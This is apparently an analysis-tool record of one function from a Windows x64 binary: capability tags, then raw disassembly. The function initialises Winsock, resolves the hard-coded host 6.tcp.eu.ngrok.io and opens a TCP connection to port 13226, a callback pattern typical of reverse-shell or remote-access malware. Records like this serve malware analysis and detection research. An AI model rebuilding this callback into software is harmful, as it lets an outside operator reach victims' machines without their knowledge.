Function at 0x140004e40
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x140020010]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea r15, [0x140020b10]
mov qword [rsp + 0x40], r15
xorps xmm0, xmm0
movups xmmword [0x140020b30], xmm0
xor esi, esi
mov qword [0x140020b40], rsi
mov ebx, recv
mov qword [0x140020b48], rbx
mov byte [0x140020b30], sil
lea rcx, [rsp + 0x50]
call fcn.140004c90
nop
lea rcx, [rsp + 0x50]
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
cmovae rcx, r8
mov rax, qword [rsp + 0x60]
lea r14, [rcx + rax*2]
lea rdi, [rsp + 0x50]
cmovae rdi, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rbx
cmp rdi, r14
jne 0x140004f05
mov byte [rsp + 0x20], sil
jmp 0x140005001
mov rax, r14
sub rax, rdi
sar rax, 1
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x1400051b0
cmp rax, 0x10
jb 0x140004fb0
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x140004f3c
mov rbx, rcx
jmp 0x140004f48
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140004f92
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400051aa
mov rcx, rax
call fcn.140016830
mov rcx, rax
test rax, rax
je 0x140005097
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140004fa1
test rcx, rcx
je 0x140004f9e
call fcn.140016830
jmp 0x140004fa1
mov rax, rsi
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x38], rbx
nop dword [rax + rax]
lea rcx, [rsp + 0x20]
cmp rbx, 0x10
cmovae rcx, qword [rsp + 0x20]
movzx eax, byte [rdi]
mov byte [rsi + rcx], al
mov rsi, qword [rsp + 0x30]
inc rsi
mov qword [rsp + 0x30], rsi
add rdi, 2
cmp rdi, r14
je 0x140004fe2
mov rbx, qword [rsp + 0x38]
jmp 0x140004fb0
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rax, qword [rsp + 0x20]
mov byte [rsi + rax], 0
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
mov rax, qword [0x140020b48]
cmp rax, 0x10
jb 0x140005049
mov rcx, qword [0x140020b30]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000503a
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005097
mov rcx, r8
call fcn.140016ac4
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x20]
movaps xmmword [0x140020b30], xmm0
movups xmm1, xmmword [rsp + 0x30]
movaps xmmword [0x140020b40], xmm1
cmp rdx, 8
jb 0x1400050a6
lea rdx, [rdx*2 + 2]
mov rax, r8
cmp rdx, 0x1000
jb 0x14000509e
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000509e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rcx, r8
call fcn.140016ac4
mov ecx, 0x202
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400050c1
mov byte [0x140020b10], 0
lea rcx, str.6.tcp.eu.ngrok.io
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
jne 0x1400050e2
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [0x140020b10], bl
xor r8d, r8d
lea edx, [r8 + 1]
mov edi, 2
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov qword [0x140020b18], rax
cmp rax, 0xffffffffffffffff
jne 0x140005110
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [0x140020b10], 0
mov word [0x140020b20], di
lea rcx, str.13226
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ecx, eax
call qword [sym.imp.WS2_32.dll_htons]
mov word [0x140020b22], ax
mov rax, qword [rbx + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [0x140020b24], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [0x140020b20]
mov rcx, qword [0x140020b18]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140005174
mov rcx, qword [0x140020b18]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov byte [0x140020b10], 1
mov rax, r15
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140016810
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001140
nop
call fcn.1400011e0
int3